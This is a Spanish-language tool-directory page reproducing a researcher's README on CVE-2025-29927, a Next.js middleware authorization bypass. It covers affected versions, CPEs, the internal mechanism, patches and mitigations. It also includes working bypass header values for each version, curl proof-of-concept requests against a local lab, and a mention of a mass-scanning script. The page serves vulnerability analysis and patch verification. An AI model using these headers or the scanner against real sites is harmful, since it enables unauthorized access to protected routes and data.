Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29927 — Análisis en profundidad y PoC para CVE-2025-29927, una vulnerabilidad de omisión de autorización en middleware de Next.js a través del encabezado x-middleware-subrequest. Incluye plantillas de Nuclei y un script de escaneo masivo para pruebas. | Kitploit
Herramientas/GitHubGitHub/iteride/cve-2025-29927
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubiteride/cve-2025-29927

CVE-2025-29927

Análisis en profundidad y PoC para CVE-2025-29927, una vulnerabilidad de omisión de autorización en middleware de Next.js a través del encabezado x-middleware-subrequest. Incluye plantillas de Nuclei y un script de escaneo masivo para pruebas.

Ver Repositorio
1hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-29927

Introducción

Este documento presenta la investigación de la vulnerabilidad CVE-2025-29927, que afecta al mecanismo Middleware en el framework Next.js.
Next.js es un popular framework de código abierto de Vercel para desarrollar aplicaciones basadas en React. Admite renderizado del lado del servidor, generación estática y un sistema flexible de middleware, utilizado para enrutamiento, redirecciones, encabezados de seguridad y verificación de permisos de acceso.

En marzo de 2025 se identificó una vulnerabilidad crítica CVE-2025-29927, relacionada con el procesamiento del encabezado interno de subpeticiones.
La esencia del problema es la posibilidad de evitar las comprobaciones de autorización en aplicaciones donde el control de acceso está implementado precisamente en el middleware, mediante la inserción de un valor especial en el encabezado HTTP x-middleware-subrequest. Si la seguridad depende únicamente del middleware, un atacante puede acceder a rutas o datos protegidos.

Versiones afectadas de Next.js y correcciones (según fuentes públicas y materiales oficiales):

  • 11.1.4 ≤ versión < 12.3.5
  • 13.0.0 ≤ versión < 13.5.9
  • 14.0.0 ≤ versión < 14.2.25
  • 15.0.0 ≤ versión < 15.2.3

Las correcciones están disponibles en los lanzamientos 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Next.js se usa ampliamente en producción; una vulnerabilidad que afecta la capa de middleware (a menudo utilizada para autenticación/autorización y políticas de seguridad) conlleva un alto riesgo práctico.


Objetivo del informe

Analizar paso a paso la vulnerabilidad y documentar el ciclo completo de investigación:

Recopilación y estructuración de materiales.
Sistematizar las fuentes públicas sobre CVE-2025-29927; exponer la esencia del defecto, las condiciones de activación y las versiones/parches confirmados.

Determinación de CPE y condiciones de configuración.
Proporcionar una lista de CPE/versiones y describir las configuraciones en las que la vulnerabilidad es reproducible (por ejemplo, despliegue self-hosted y autorización a nivel de middleware).

Demostración segura.
Preparar una demo reproducible en un entorno de prueba (sin acciones destructivas) que confirme la evasión del middleware en versiones vulnerables.

Metodologías de verificación masiva.
Describir e implementar tres enfoques seguros:

  • nuclei (modo activo con impacto minimizado),
  • nuclei (modo pasivo basado en versiones/indicadores indirectos),
  • script propio en Python/Go (verificación activa multi-hilo en hosts de prueba).

Esencia de la vulnerabilidad

middleware

  • Causa raíz. En Next.js, el encabezado interno x-middleware-subrequest se utiliza para rastrear subpeticiones internas y evitar recursividad en el middleware. En las ramas vulnerables, los clientes externos pueden inyectar este encabezado con un valor «esperado» y el runtime omite la ejecución del middleware, pasando la solicitud directamente al manejador de la ruta.

  • Rol del encabezado. El encabezado x-middleware-subrequest fue diseñado originalmente como un indicador interno de que la solicitud HTTP actual fue iniciada por el propio framework como una subpetición intermedia, no directamente por el usuario.
    Es necesario para el correcto funcionamiento de los mecanismos internos de Next.js: además del enrutamiento, esta bandera ayuda a evitar la recursividad infinita «marcando» cada capa intermedia invocada.
    Pero precisamente esta lógica generó un agujero de seguridad no intencionado: un cliente que agregue dicho encabezado puede hacer que el sistema trate su solicitud como interna y, por lo tanto, eluda las comprobaciones de autorización.

  • Evolución de la lógica.

    • En versiones anteriores, el encabezado se interpreta como una lista de valores separados por dos puntos, y el mecanismo lo compara con el nombre/ruta del middleware activo.
    • En ramas más recientes se agregó una protección contra la recursividad infinita en forma de un contador de profundidad; al alcanzar un límite (por defecto 5), el middleware también se omite. Este mecanismo puede ser engañado si el encabezado se forma «como si» la cadena de subpeticiones ya hubiera agotado el límite.

Impacto

  • Confidencialidad e integridad. Acceso no autorizado a páginas protegidas o API cuando el control de acceso se implementa solo a nivel de middleware; posible modificación de datos a través de endpoints protegidos.
  • Disponibilidad. Efectos secundarios como cache poisoning pueden provocar un almacenamiento en caché incorrecto y degradación de la disponibilidad en ciertas configuraciones.

CPE y condiciones de configuración

CPE oficiales (CPE 2.3)

Los registros actuales de NVD indican el producto Vercel Next.js con el software objetivo node.js. Para las ramas vulnerables se aplican las siguientes configuraciones (rangos de versiones definidos a nivel de configuración CPE en NVD):

URI CPERango de versiones vulnerable
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

Nota: en la descripción del CVE también se indica que, en general, «desde 11.1.4 hasta 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3» la vulnerabilidad es reproducible si se cumplen las condiciones siguientes.

Condiciones de relevancia en entorno de producción

  • El control de acceso (autenticación/autorización) está implementado en el middleware y no se duplica en los manejadores/backend.
  • Despliegue self-hosted (por ejemplo, next start, compilación con output: 'standalone') o cualquier entorno donde el middleware se ejecute en las solicitudes entrantes sin filtrado perimetral de encabezados internos.
  • Ausencia de mecanismos externos que descarten las solicitudes de usuario con x-middleware-subrequest (por ejemplo, reglas WAF).

Mecanismo interno de x-middleware-subrequest

Para evitar la recursividad infinita del middleware, el runtime genera y lee el encabezado interno:

  1. El valor del encabezado se interpreta como una cadena con elementos separados por dos puntos : — se obtiene una matriz de «subpeticiones».
  2. Luego el runtime verifica:
    • si el nombre/ruta del middleware actual aparece en esa matriz (en ramas antiguas, esto llevaba a la omisión inmediata mediante NextResponse.next()),
    • o si se ha alcanzado la profundidad máxima de recursión (en ramas nuevas se aplica un límite, por defecto 5), y entonces el middleware también se omite.
  3. En los parches, para proteger contra la falsificación, se agregó un identificador de subpetición separado (x-middleware-subrequest-id), vinculado a la sesión actual del proceso; si no coincide, el x-middleware-subrequest entrante se limpia en el lado del servidor.

Método de explotación

El atacante envía una solicitud HTTP a la aplicación Next.js objetivo, agregando el encabezado interno x-middleware-subrequest.
En el valor se indica la ruta al archivo del middleware — por ejemplo pages/_middleware, middleware o src/middleware.
El valor necesario depende de la versión de Next.js utilizada y de la estructura del proyecto.

Cuando dicha solicitud llega a la aplicación, la lógica interna del framework la interpreta como una subpetición interna y asume que la capa de middleware ya se ha ejecutado.
Como resultado, las comprobaciones de autenticación y autorización que normalmente ocurren en el middleware, se omiten en la práctica.


PoC / Exploit

Importante: este material se proporciona exclusivamente para verificar el parche y modelar el riesgo en un entorno de prueba cerrado.
Cualquier verificación en infraestructura productiva solo es posible con el permiso del propietario de los recursos.

Principio general

Next.js utiliza el encabezado interno x-middleware-subrequest para marcar subpeticiones internas y evitar la ejecución recursiva del middleware.
Al procesar la solicitud, el valor del encabezado se divide por el carácter : y se compara con el nombre del middleware actual.
En versiones nuevas se agregó un límite de profundidad (MAX_RECURSION_DEPTH, normalmente 5).
Si se cumple la condición (coincidencia de nombre o alcance del límite), Next.js omite el middleware y pasa la solicitud más adelante.
El atacante puede formar un valor correcto del encabezado, simulando una subpetición interna.

Explotación por versiones

1️⃣ Versiones anteriores a 12.2: Pages Router y _middleware.*

  • Los archivos de middleware se llamaban _middleware.js/ts y se ubicaban en el directorio pages/.
  • El valor del encabezado debe coincidir con la ruta al archivo, por ejemplo: x-middleware-subrequest: pages/_middleware

2️⃣ Versiones 12.2 – 13.0.0: middleware.* raíz

  • A partir de la versión 12.2 se eliminó el guion bajo del nombre: el archivo pasó a llamarse middleware.js/ts.
  • Puede estar en la raíz del proyecto o en la raíz del directorio /src.
  • Para evadir el middleware se usa el encabezado: x-middleware-subrequest: middleware o x-middleware-subrequest: src/middleware

3️⃣ Versiones 13.x y posteriores: límite de profundidad de recursión

  • Se agregó una verificación de profundidad: el valor del encabezado se divide por :, y si la cantidad de repeticiones del nombre del middleware es ≥ 5,
    Next.js considera que se ha alcanzado la condición de recursión y omite el middleware mediante NextResponse.next().
  • Para el ataque, el encabezado se forma así: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware o x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Particularidades en Next.js 15.x

En los lanzamientos 15.x, los desarrolladores rediseñaron la lógica para evitar llamadas recursivas infinitas.
Cuando en la ruta se activa el middleware (por ejemplo, /api/*), Next.js obtiene otra URL que también inicia el mismo middleware.
El framework cuenta el número de activaciones a través del encabezado x-middleware-subrequest.
Si el número de llamadas alcanza el umbral establecido (MAX_RECURSION_DEPTH, por defecto 5), las llamadas posteriores al middleware se bloquean.
El atacante puede aprovechar este comportamiento indicando de antemano en el encabezado un valor con la cantidad de repeticiones necesaria y, de este modo, alcanzar artificialmente el límite de profundidad — como resultado, el middleware se omite por completo.

Ejemplo de solicitud

para ramas antiguas, el valor del encabezado se elige según las variantes anteriores

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Por qué funciona

x-middleware-subrequest fue diseñado como un mecanismo interno para evitar la recursividad infinita.
Pero en las versiones vulnerables faltaba el filtrado de solicitudes externas: el cliente podía falsificar el encabezado,
cumplir la condición de omisión (coincidencia de nombre o alcance del límite de profundidad)
y acceder directamente al manejador de la ruta protegida.

Inicio del entorno de prueba

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

Pruebas:

(ejemplo basado en Next.js 15.2.2; para otras ramas elija el valor del encabezado según la tabla en la sección PoC)

  1. Solicitud estándar:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. Solicitud con el encabezado x-middleware-subrequest:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Recomendaciones de protección

  • Actualice Next.js al menos a las versiones 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
  • Si la actualización se retrasa — filtre o descarte el encabezado externo x-middleware-subrequest a nivel de WAF/proxy.
  • Duplique las comprobaciones críticas de autorización en los manejadores de API, no solo en el middleware.

Plantilla de Nuclei para pruebas

  • Esta plantilla combina verificación pasiva y activa de aplicaciones Next.js.
  • De forma pasiva analiza encabezados y redirecciones para identificar indicios de Next.js y posible comportamiento del middleware.
  • De forma activa prueba la evasión del middleware mediante un encabezado X-Middleware-Subrequest especialmente formado.
  • Utiliza varios payloads, lo que aumenta la probabilidad de detectar la vulnerabilidad — aproximadamente 60% en condiciones estándar de prueba.

nuclei

⚠️ Atención: la plantilla está destinada únicamente para pruebas en objetivos propios o autorizados. Su uso en servicios de terceros sin consentimiento de los propietarios es ilegal.

Script para pruebas masivas

  • El script admite multihilo, lo que permite escanear rápidamente una gran cantidad de servicios y rutas.
  • Admite la entrada de listas de objetivos y rutas mediante archivos.
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
Descargar herramienta
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3